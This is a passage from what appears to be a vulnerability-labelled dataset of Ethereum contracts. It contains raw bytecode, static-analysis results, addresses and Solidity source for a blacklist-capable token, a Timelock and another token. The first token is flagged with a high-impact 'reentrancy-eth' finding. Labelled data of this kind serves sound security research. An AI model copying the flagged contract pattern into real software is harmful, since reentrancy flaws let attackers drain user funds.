3209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cd05760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016106a8565b6001600160a01b038216610d325760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016106a8565b60008111610d945760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016106a8565b6000546001600160a01b03848116911614801590610dc057506000546001600160a01b03838116911614155b156110a157601554600160a01b900460ff16610e59576000546001600160a01b03848116911614610e595760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016106a8565b601654811115610eab5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016106a8565b6001600160a01b03831660009081526010602052604090205460ff16158015610eed57506001600160a01b03821660009081526010602052604090205460ff16155b610f455760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016106a8565b6015546001600160a01b03838116911614610fca5760175481610f6784610765565b610f719190611b8b565b10610fca5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016106a8565b6000610fd530610765565b601854601654919250821015908210610fee5760165491505b8080156110055750601554600160a81b900460ff16155b801561101f57506015546001600160a01b03868116911614155b80156110345750601554600160b01b900460ff165b801561105957506001600160a01b03851660009081526005602052604090205460ff16155b801561107e57506001600160a01b03841660009081526005602052604090205460ff16155b1561109e5761108c826112a4565b47801561109c5761109c476111e2565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806110e357506001600160a01b03831660009081526005602052604090205460ff165b8061111557506015546001600160a01b0385811691161480159061111557506015546001600160a01b03848116911614155b156111225750600061119c565b6015546001600160a01b03858116911614801561114d57506014546001600160a01b03848116911614155b1561115f57600854600c55600954600d555b6015546001600160a01b03848116911614801561118a57506014546001600160a01b03858116911614155b1561119c57600a54600c55600b54600d555b6109db8484848461142d565b600081848411156111cc5760405162461bcd60e51b81526004016106a891906118e3565b5060006111d98486611ba3565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561121c573d6000803e3d6000fd5b5050565b60006006548211156112875760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016106a8565b600061129161145b565b905061129d838261147e565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112ec576112ec611b44565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561134057600080fd5b505afa158015611354573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113789190611bba565b8160018151811061138b5761138b611b44565b6001600160a01b0392831660209182029290920101526014546113b19130911684610b48565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906113ea908590600090869030904290600401611bd7565b600060405180830381600087803b15801561140457600080fd5b505af1158015611418573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061143a5761143a6114c0565b6114458484846114ee565b806109db576109db600e54600c55600f54600d55565b60008060006114686115e5565b9092509050611477828261147e565b9250505090565b600061129d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611625565b600c541580156114d05750600d54155b156114d757565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061150087611653565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061153290876116b0565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461156190866116f2565b6001600160a01b03891660009081526002602052604090205561158381611751565b61158d848361179b565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516115d291815260200190565b60405180910390a3505050505050505050565b600654600090819067016345785d8a0000611600828261147e565b82101561161c5750506006549267016345785d8a000092509050565b90939092509050565b600081836116465760405162461bcd60e51b81526004016106a891906118e3565b5060006111d98486611c48565b60008060008060008060008060006116708a600c54600d546117bf565b925092509250600061168061145b565b905060008060006116938e878787611814565b919e509c509a509598509396509194505050505091939550919395565b600061129d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111a8565b6000806116ff8385611b8b565b90508381101561129d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016106a8565b600061175b61145b565b905060006117698383611864565b3060009081526002602052604090205490915061178690826116f2565b30600090815260026020526040902055505050565b6006546117a890836116b0565b6006556007546117b890826116f2565b6007555050565b60008080806117d960646117d38989611864565b9061147e565b905060006117ec60646117d38a89611864565b90506000611804826117fe8b866116b0565b906116b0565b9992985090965090945050505050565b60008080806118238886611864565b905060006118318887611864565b9050600061183f8888611864565b90506000611851826117fe86866116b0565b939b939a50919850919650505050505050565b6000826118735750600061060f565b600061187f8385611c6a565b90508261188c8583611c48565b1461129d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016106a8565b600060208083528351808285015260005b81811015611910578581018301518582016040015282016118f4565b81811115611922576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461076257600080fd5b6000806040838503121561196057600080fd5b823561196b81611938565b946020939093013593505050565b60008060006060848603121561198e57600080fd5b833561199981611938565b925060208401356119a981611938565b929592945050506040919091013590565b6000602082840312156119cc57600080fd5b813561129d81611938565b803580151581146119e757600080fd5b919050565b6000602082840312156119fe57600080fd5b61129d826119d7565b600060208284031215611a1957600080fd5b5035919050565b60008060008060808587031215611a3657600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611a6757600080fd5b833567ffffffffffffffff80821115611a7f57600080fd5b818601915086601f830112611a9357600080fd5b813581811115611aa257600080fd5b8760208260051b8501011115611ab757600080fd5b602092830195509350611acd91860190506119d7565b90509250925092565b60008060408385031215611ae957600080fd5b8235611af481611938565b91506020830135611b0481611938565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611b8457611b84611b5a565b5060010190565b60008219821115611b9e57611b9e611b5a565b500190565b600082821015611bb557611bb5611b5a565b500390565b600060208284031215611bcc57600080fd5b815161129d81611938565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c275784516001600160a01b031683529383019391830191600101611c02565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611c6557634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611c8457611c84611b5a565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220708faaad13e0270c46896149e593a0f4077d33d4133bc01200346ef2158ef5c164736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
3,126
0x5006e6cc07fa7ac0ee0a479dc89931e2c392744d
/* This contract is provided "as is" and "with all faults." The deployer makes no representations or warranties of any kind concerning the safety, suitability, lack of exploits, inaccuracies, typographical errors, or other harmful components of this contract. There are inherent dangers in the use of any contract, and you are solely responsible for determining whether this contract is safe to use. You are also solely responsible for the protection of your funds, and the deployer will not be liable for any damages you may suffer in connection with using, modifying, or distributing this contract. */ pragma solidity ^0.5.16; // From https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/math/Math.sol // Subject to the MIT license. /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the addition of two unsigned integers, reverting with custom message on overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, errorMessage); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on underflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot underflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction underflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on underflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot underflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, errorMessage); return c; } /** * @dev Returns the integer division of two unsigned integers. * Reverts on division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. * Reverts with custom message on division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Timelock { using SafeMath for uint; event NewAdmin(address indexed newAdmin); event NewPendingAdmin(address indexed newPendingAdmin); event NewDelay(uint indexed newDelay); event CancelTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); event ExecuteTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); event QueueTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); uint public constant GRACE_PERIOD = 14 days; uint public constant MINIMUM_DELAY = 1 days; uint public constant MAXIMUM_DELAY = 30 days; address public admin; address public pendingAdmin; uint public delay; mapping (bytes32 => bool) public queuedTransactions; constructor(address admin_, uint delay_) public { require(delay_ >= MINIMUM_DELAY, "Timelock::constructor: Delay must exceed minimum delay."); require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay."); admin = admin_; delay = delay_; } function() external payable { } function setDelay(uint delay_) public { require(msg.sender == address(this), "Timelock::setDelay: Call must come from Timelock."); require(delay_ >= MINIMUM_DELAY, "Timelock::setDelay: Delay must exceed minimum delay."); require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay."); delay = delay_; emit NewDelay(delay); } function acceptAdmin() public { require(msg.sender == pendingAdmin, "Timelock::acceptAdmin: Call must come from pendingAdmin."); admin = msg.sender; pendingAdmin = address(0); emit NewAdmin(admin); } function setPendingAdmin(address pendingAdmin_) public { require(msg.sender == address(this), "Timelock::setPendingAdmin: Call must come from Timelock."); pendingAdmin = pendingAdmin_; emit NewPendingAdmin(pendingAdmin); } function queueTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public returns (bytes32) { require(msg.sender == admin, "Timelock::queueTransaction: Call must come from admin."); require(eta >= getBlockTimestamp().add(delay), "Timelock::queueTransaction: Estimated execution block must satisfy delay."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); queuedTransactions[txHash] = true; emit QueueTransaction(txHash, target, value, signature, data, eta); return txHash; } function cancelTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public { require(msg.sender == admin, "Timelock::cancelTransaction: Call must come from admin."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); queuedTransactions[txHash] = false; emit CancelTransaction(txHash, target, value, signature, data, eta); } function executeTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public payable returns (bytes memory) { require(msg.sender == admin, "Timelock::executeTransaction: Call must come from admin."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); require(queuedTransactions[txHash], "Timelock::executeTransaction: Transaction hasn't been queued."); require(getBlockTimestamp() >= eta, "Timelock::executeTransaction: Transaction hasn't surpassed time lock."); require(getBlockTimestamp() <= eta.add(GRACE_PERIOD), "Timelock::executeTransaction: Transaction is stale."); queuedTransactions[txHash] = false; bytes memory callData; if (bytes(signature).length == 0) { callData = data; } else { callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data); } // solium-disable-next-line security/no-call-value (bool success, bytes memory returnData) = target.call.value(value)(callData); require(success, "Timelock::executeTransaction: Transaction execution reverted."); emit ExecuteTransaction(txHash, target, value, signature, data, eta); return returnData; } function getBlockTimestamp() internal view returns (uint) { // solium-disable-next-line security/no-block-members return block.timestamp; } } contract TimelockFactory { function deploy(address admin_, uint delay_) external returns (address) { return address(new Timelock(admin_, delay_)); } }
0x608060405234801561001057600080fd5b506004361061002b5760003560e01c80634956eaf014610030575b600080fd5b61005c6004803603604081101561004657600080fd5b506001600160a01b038135169060200135610078565b604080516001600160a01b039092168252519081900360200190f35b60008282604051610088906100c1565b6001600160a01b0390921682526020820152604080519182900301906000f0801580156100b9573d6000803e3d6000fd5b509392505050565b6118a6806100cf8339019056fe608060405234801561001057600080fd5b506040516118a63803806118a68339818101604052604081101561003357600080fd5b5080516020909101516201518081101561007e5760405162461bcd60e51b81526004018080602001828103825260378152602001806118376037913960400191505060405180910390fd5b62278d008111156100c05760405162461bcd60e51b815260040180806020018281038252603881526020018061186e6038913960400191505060405180910390fd5b600080546001600160a01b039093166001600160a01b031990931692909217909155600255611743806100f46000396000f3fe6080604052600436106100c25760003560e01c80636a42b8f81161007f578063c1a287e211610059578063c1a287e2146105dd578063e177246e146105f2578063f2b065371461061c578063f851a4401461065a576100c2565b80636a42b8f81461059e5780637d645fab146105b3578063b1b43ae5146105c8576100c2565b80630825f38f146100c45780630e18b68114610279578063267822471461028e5780633a66f901146102bf5780634dd18bf51461041e578063591fcdfe14610451575b005b610204600480360360a08110156100da57600080fd5b6001600160a01b0382351691602081013591810190606081016040820135600160201b81111561010957600080fd5b82018360208201111561011b57600080fd5b803590602001918460018302840111600160201b8311171561013c57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b81111561018e57600080fd5b8201836020820111156101a057600080fd5b803590602001918460018302840111600160201b831117156101c157600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550509135925061066f915050565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561023e578181015183820152602001610226565b50505050905090810190601f16801561026b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561028557600080fd5b506100c2610b88565b34801561029a57600080fd5b506102a3610c24565b604080516001600160a01b039092168252519081900360200190f35b3480156102cb57600080fd5b5061040c600480360360a08110156102e257600080fd5b6001600160a01b0382351691602081013591810190606081016040820135600160201b81111561031157600080fd5b82018360208201111561032357600080fd5b803590602001918460018302840111600160201b8311171561034457600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b81111561039657600080fd5b8201836020820111156103a857600080fd5b803590602001918460018302840111600160201b831117156103c957600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295505091359250610c33915050565b60408051918252519081900360200190f35b34801561042a57600080fd5b506100c26004803603602081101561044157600080fd5b50356001600160a01b0316610f44565b34801561045d57600080fd5b506100c2600480360360a081101561047457600080fd5b6001600160a01b0382351691602081013591810190606081016040820135600160201b8111156104a357600080fd5b8201836020820111156104b557600080fd5b803590602001918460018302840111600160201b831117156104d657600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b81111561052857600080fd5b82018360208201111561053a57600080fd5b803590602001918460018302840111600160201b8311171561055b57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295505091359250610fd2915050565b3480156105aa57600080fd5b5061040c611288565b3480156105bf57600080fd5b5061040c61128e565b3480156105d457600080fd5b5061040c611295565b3480156105e957600080fd5b5061040c61129c565b3480156105fe57600080fd5b506100c26004803603602081101561061557600080fd5b50356112a3565b34801561062857600080fd5b506106466004803603602081101561063f57600080fd5b5035611398565b604080519115158252519081900360200190f35b34801561066657600080fd5b506102a36113ad565b6000546060906001600160a01b031633146106bb5760405162461bcd60e51b81526004018080602001828103825260388152602001806114226038913960400191505060405180910390fd5b6000868686868660405160200180866001600160a01b03166001600160a01b031681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b8381101561072a578181015183820152602001610712565b50505050905090810190601f1680156107575780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b8381101561078a578181015183820152602001610772565b50505050905090810190601f1680156107b75780820380516001836020036101000a031916815260200191505b5060408051601f1981840301815291815281516020928301206000818152600390935291205490995060ff16975061082896505050505050505760405162461bcd60e51b815260040180806020018281038252603d815260200180611575603d913960400191505060405180910390fd5b826108316113bc565b101561086e5760405162461bcd60e51b81526004018080602001828103825260458152602001806114c46045913960600191505060405180910390fd5b610881836212750063ffffffff6113c016565b6108896113bc565b11156108c65760405162461bcd60e51b81526004018080602001828103825260338152602001806114916033913960400191505060405180910390fd5b6000818152600360205260409020805460ff1916905584516060906108ec575083610979565b85805190602001208560405160200180836001600160e01b0319166001600160e01b031916815260040182805190602001908083835b602083106109415780518252601f199092019160209182019101610922565b6001836020036101000a0380198251168184511680821785525050505050509050019250505060405160208183030381529060405290505b60006060896001600160a01b031689846040518082805190602001908083835b602083106109b85780518252601f199092019160209182019101610999565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114610a1a576040519150601f19603f3d011682016040523d82523d6000602084013e610a1f565b606091505b509150915081610a605760405162461bcd60e51b815260040180806020018281038252603d815260200180611658603d913960400191505060405180910390fd5b896001600160a01b0316847fa560e3198060a2f10670c1ec5b403077ea6ae93ca8de1c32b451dc1a943cd6e78b8b8b8b604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610add578181015183820152602001610ac5565b50505050905090810190601f168015610b0a5780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015610b3d578181015183820152602001610b25565b50505050905090810190601f168015610b6a5780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a39998505050505050505050565b6001546001600160a01b03163314610bd15760405162461bcd60e51b81526004018080602001828103825260388152602001806115b26038913960400191505060405180910390fd5b60008054336001600160a01b031991821617808355600180549092169091556040516001600160a01b03909116917f71614071b88dee5e0b2ae578a9dd7b2ebbe9ae832ba419dc0242cd065a290b6c91a2565b6001546001600160a01b031681565b600080546001600160a01b03163314610c7d5760405162461bcd60e51b81526004018080602001828103825260368152602001806116226036913960400191505060405180910390fd5b610c97600254610c8b6113bc565b9063ffffffff6113c016565b821015610cd55760405162461bcd60e51b81526004018080602001828103825260498152602001806116956049913960600191505060405180910390fd5b6000868686868660405160200180866001600160a01b03166001600160a01b031681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610d44578181015183820152602001610d2c565b50505050905090810190601f168015610d715780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015610da4578181015183820152602001610d8c565b50505050905090810190601f168015610dd15780820380516001836020036101000a031916815260200191505b5097505050505050505060405160208183030381529060405280519060200120905060016003600083815260200190815260200160002060006101000a81548160ff021916908315150217905550866001600160a01b0316817f76e2796dc3a81d57b0e8504b647febcbeeb5f4af818e164f11eef8131a6a763f88888888604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610e9c578181015183820152602001610e84565b50505050905090810190601f168015610ec95780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015610efc578181015183820152602001610ee4565b50505050905090810190601f168015610f295780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a39695505050505050565b333014610f825760405162461bcd60e51b81526004018080602001828103825260388152602001806115ea6038913960400191505060405180910390fd5b600180546001600160a01b0319166001600160a01b0383811691909117918290556040519116907f69d78e38a01985fbb1462961809b4b2d65531bc93b2b94037f3334b82ca4a75690600090a250565b6000546001600160a01b0316331461101b5760405162461bcd60e51b815260040180806020018281038252603781526020018061145a6037913960400191505060405180910390fd5b6000858585858560405160200180866001600160a01b03166001600160a01b031681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b8381101561108a578181015183820152602001611072565b50505050905090810190601f1680156110b75780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b838110156110ea5781810151838201526020016110d2565b50505050905090810190601f1680156111175780820380516001836020036101000a031916815260200191505b5097505050505050505060405160208183030381529060405280519060200120905060006003600083815260200190815260200160002060006101000a81548160ff021916908315150217905550856001600160a01b0316817f2fffc091a501fd91bfbff27141450d3acb40fb8e6d8382b243ec7a812a3aaf8787878787604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b838110156111e25781810151838201526020016111ca565b50505050905090810190601f16801561120f5780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b8381101561124257818101518382015260200161122a565b50505050905090810190601f16801561126f5780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a3505050505050565b60025481565b62278d0081565b6201518081565b6212750081565b3330146112e15760405162461bcd60e51b81526004018080602001828103825260318152602001806116de6031913960400191505060405180910390fd5b620151808110156113235760405162461bcd60e51b81526004018080602001828103825260348152602001806115096034913960400191505060405180910390fd5b62278d008111156113655760405162461bcd60e51b815260040180806020018281038252603881526020018061153d6038913960400191505060405180910390fd5b600281905560405181907f948b1f6a42ee138b7e34058ba85a37f716d55ff25ff05a763f15bed6a04c8d2c90600090a250565b60036020526000908152604090205460ff1681565b6000546001600160a01b031681565b4290565b60008282018381101561141a576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b939250505056fe54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a63616e63656c5472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206973207374616c652e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206861736e2774207375727061737365642074696d65206c6f636b2e54696d656c6f636b3a3a73657444656c61793a2044656c6179206d75737420657863656564206d696e696d756d2064656c61792e54696d656c6f636b3a3a73657444656c61793a2044656c6179206d757374206e6f7420657863656564206d6178696d756d2064656c61792e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206861736e2774206265656e207175657565642e54696d656c6f636b3a3a61636365707441646d696e3a2043616c6c206d75737420636f6d652066726f6d2070656e64696e6741646d696e2e54696d656c6f636b3a3a73657450656e64696e6741646d696e3a2043616c6c206d75737420636f6d652066726f6d2054696d656c6f636b2e54696d656c6f636b3a3a71756575655472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e20657865637574696f6e2072657665727465642e54696d656c6f636b3a3a71756575655472616e73616374696f6e3a20457374696d6174656420657865637574696f6e20626c6f636b206d75737420736174697366792064656c61792e54696d656c6f636b3a3a73657444656c61793a2043616c6c206d75737420636f6d652066726f6d2054696d656c6f636b2ea265627a7a72315820d3631d6ee9953cdf1a930275e2007f9020f4bedb63ca654a13def918429c807b64736f6c6343000511003254696d656c6f636b3a3a636f6e7374727563746f723a2044656c6179206d75737420657863656564206d696e696d756d2064656c61792e54696d656c6f636b3a3a73657444656c61793a2044656c6179206d757374206e6f7420657863656564206d6178696d756d2064656c61792ea265627a7a72315820b03b3002e2004ae55d6ee840116b6fbf439ab2cfc31ca8a9565aa6138e9b3c4c64736f6c63430005110032
{"success": true, "error": null, "results": {}}
3,127
0x75a4bf18b3100dddb8c92f48de8626c89fa36a9c
/** *Submitted for verification at Etherscan.io on 2021-06-16 */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() 